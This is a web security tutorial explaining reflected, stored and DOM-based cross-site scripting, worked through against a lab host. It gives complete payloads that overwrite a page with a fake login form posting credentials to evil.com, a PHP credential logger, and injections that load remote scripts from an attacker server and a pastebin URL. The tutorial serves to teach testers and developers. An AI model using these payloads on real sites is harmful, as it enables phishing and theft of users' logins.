Cross-site scripting (XSS) is a very popular term, not just among web application security guys, but also among developers, where popping an alert box with a message in it is a HUGE hit.

Among the locations where XSS is generally found in a web application, the most common is a search form.

Before we go ahead, I would like to give a brief introduction to XSS and its types.

According to OWASP’s “Top 10 Web Application Vulnerabilities of 2013,” Cross-Site Scripting (XSS) is in the third position. This vulnerability exists in most web applications, ranging from a small organization’s website to that of big MNCs.

Bug bounty is a proof of what I just said: There, XSS is one of the most reported vulnerabilities by security researchers.

There are three types of XSS:

  1. Reflected XSS
  2. Stored XSS
  3. DOM-based XSS

Reflected XSS

Reflected XSS is also called Type-II XSS. This type of XSS is reflected (executed in the browser) as soon as the injected code is processed by the web browser. One thing to note here is that the code injected is processed by the web server application and the response contains our injected code, and the injected code is not stored in the web application.

Example:

Without reflected XSS:

With reflected XSS:

Stored XSS

Stored XSS is also called Type-I XSS. This type of XSS is stored by the web application, most of the time in a database. When a script fetches data from a table that contains our XSS code and shows it on a page, then our XSS code gets executed by the web browser. Since the injected code is stored inside the database and the script itself fetches it and displays it on page, it is called a stored XSS. This type of XSS is the deadliest of all because, there a lot of harmful code can be injected by exploiting this vulnerability.

Without stored XSS:

With stored XSS:

DOM-Based XSS

DOM-based XSS is also called Type-0 XSS. (Many people find it tough to understand and also tough to find in an application.) In this type of XSS, the injected code is used to change the document object model that is used by a script in the page for some purpose.

For example: A page accepts a parameter “default” and its value is used as an input to a client-side script. Changing the value of this parameter does not change the response from the server. The value of “default” is read by a client-side script in the page that is NOT filtered properly. If malicious code is injected into this variable, because of which the script executes in an unexpected way and the injected code is executed by the web browser, then DOM-based XSS exists.

Without DOM-based XSS:

With DOM-based XSS:

If you see the HTML code for this page (on which XSS executed), you won’t find XSS in it because the response from server doesn’t contain injected code. The malicious code is processed by a vulnerable client-side script (here JavaScript in <script>…</script> tag).

More about Reflected XSS

Sometimes telling a developer that I can pop an alert box on your web application doesn’t pop his/her eyes. It looks like any other pop-up window. What harm can it do? Let me tell you that it can do a lot of harm to both normal users and the administrators of the website.

Through the following example, let us see what more we can get from a reflected XSS:

http://10.0.0.2/xss/index.php

Try to log in, using any random username-password combination.

The page responds with an error message: Invalid username/password

It is sad that we couldn’t log in to the web application. But note that the error we see on the page is also present in the GET parameter “msg” in URL.

Let us change the message to something else and see what we get in response.

http://10.0.0.2/xss/index.php?msg=HelloWorld

So what we give as input to “msg” is used as error message shown on screen. Let us now replace it with some HTML code.

<font color=yellow><h1>Hello World</h1></font>

Wow. Our HTML code was executed successfully. Now it’s time for everyone’s favorite alert box message using <script> tag.

Want to learn more?? The InfoSec Institute Ethical Hacking course goes in-depth into the techniques used by malicious, black hat hackers with attention getting lectures and hands-on lab exercises. While these hacking skills can be used for malicious purposes, this class teaches you how to use the same hacking techniques to perform a white-hat, ethical hack, on your organization. You leave with the ability to quantitatively assess and measure threats to information assets; and discover where your organization is most vulnerable to black hat hackers. Some features of this course include:

  • Dual Certification - CEH and CPT
  • 5 days of Intensive Hands-On Labs
  • Expert Instruction
  • CTF exercises in the evening
  • Most up-to-date proprietary courseware available
<script>alert(“Reflected XSS found”)</script>

Awesome. But what more can we get from it? Sending a user a hyperlink in an email so that he/she clicks on it and an alert box pops-up on screen is of not much use.

Many a times XSS is also used to redirect to another, similar looking phishing page, but here I would like to show a better method to do it.

Above I showed that we can inject HTML content on the page using XSS. Now, using HTML, I will create a similar looking log-in form.

http://10.0.0.2/xss/index.php?msg=<center><h1>Secure User Login</h1><form name=login action=index.php method=post>Username:<input type=text name=username><br>Password:<input type=password name=password><br><input type=submit value=Login name=submit></form></center>

We see two forms on page but we want our fake form only to be shown. Using JavaScript’s “document.body.innerHTML” it can be done. It is used to set the content of the <body> tag.

http://10.0.0.2/xss/index.php?msg=<script>document.body.innerHTML=””;</script>

Now let us modify it so that we have our fake log-in form shown on page.

http://10.0.0.2/xss/index.php?msg=<script>document.body.innerHTML=”<center><h1>Secure User Login</h1><form name=login action=index.php method=post>Username:<input type=text name=username><br>Password:<input type=password name=password><br><input type=submit value=Login name=submit></form></center>”;</script>

If you look at the original page, you will notice that both the forms are exactly the same and it is impossible to differentiate between the two by just looking at them. Moving on to malicious coding using XSS. Change the “action” parameter of <form> tag to that of a remote location page which stores the username and password sent over HTTP POST.

<?php
$user = $_POST['username'];
$pass = $_POST['password'];
$fh = fopen(“log.txt”, ‘a’) or die(“can’t open file”);
$stringData = “nUsername:$usernPassword:$passn”;
fwrite($fh, $stringData);
fclose($fh);
header(“Location: http://10.0.0.2/xss/index.php?msg=Invalid username/password”);
?>

Modified URL containing evil XSS:

10.0.0.2/xss/index.php?msg=<script>document.body.innerHTML=”<center><h1>Secure User Login</h1><form name=login action=http://evil.com/store.php method=post>Username:<input type=text name=username><br>Password:<input type=password name=password><br><input type=submit value=Login name=submit></form></center>”;</script>

The HTML source looks like this:

The original login form is replaced with the fake login form created using reflected XSS.

Trick User by Using DOM-Based XSS

We have a sample page vulnerable to DOM-based XSS.

Checking out the HTML source and we can clearly see that it is vulnerable to DOM-based XSS.

Malicious URL containing XSS using DOM:

http://10.0.0.2/xss/domxss.php?default=<script>document.body.innerHTML=”<center><h1>Secure User Login</h1><form name=login action=http://evil.com/store.php method=post>Username:<input type=text name=username><br>Password:<input type=password name=password><br><input type=submit value=Login name=submit></form><br>Your current language is: English </center>”;</script>

The page after this URL is exactly same as the original page.

When we see the HTML source we won’t find anything different, which was not the case with reflected XSS.

Original page HTML source:

Fake page created using DOM-based XSS:

Stored XSS – Less Code More Damage

Stored XSS allows us to import JavaScript files (.js) from remote location and use it in our page. A page vulnerable to stored XSS is like a heaven for this, because an attacker can host a JavaScript file containing malicious code on a remote server and import it to the page vulnerable to stored XSS. The advantage of importing a script file is that an attacker can always modify the contents of the JavaScript file and execute new payloads without performing XSS again-and-again on vulnerable page.

Importing of external JS files:

<script type=”text/javascript” src=http://evil.store/malicious.js></script>

For an example, see this page:

http://10.0.0.2/xss/stored-xss.php

This page is password protected, but is vulnerable to stored XSS. As you can see, we can execute HTML-injected code and it is stored data shown on page.

Now we host our malicious Javascript code on a remote server. The file contains a fake log-in page crafted using Javascript.

Malicious Javascript code:

function callme()
{
document.body.innerHTML=”<html><head><title>Secure Login</title></head><body background=http://10.0.0.2/xss/1.png><center><h1>Secure User Login</h1><form name=login action=http://evil.com/store.php method=post>Username:<input type=text name=username><br>Password:<input type=password name=password><br><input type=submit value=Login name=submit></form><br></center></body></html>”;}

Inject the following code as a message on the vulnerable page:

<script type=”text/javascript” src=”http://pastebin.com/raw.php?i=gS0T7YrU”></script><Script>callme()</script>

Before submitting the request containing <script>…</script>:

After submitting the request containing <script>…</script>:

The page now shows a fake login page. It looks the same as the original one. But seeing the HTML source code we see this:

The HTML source shows the reality of this fake login page.

Some of the most popular attacks carried out using XSS are:

  1. Cookie stealing
  2. Alert pop-up on page
  3. Redirecting to another website/page/phishing site
  4. Executing browser exploits

XSS is a very underestimated vulnerability. It is very important for both developers and web application testers to understand that a lot of damage can be caused using this vulnerability ;)

Enjoy XSS :)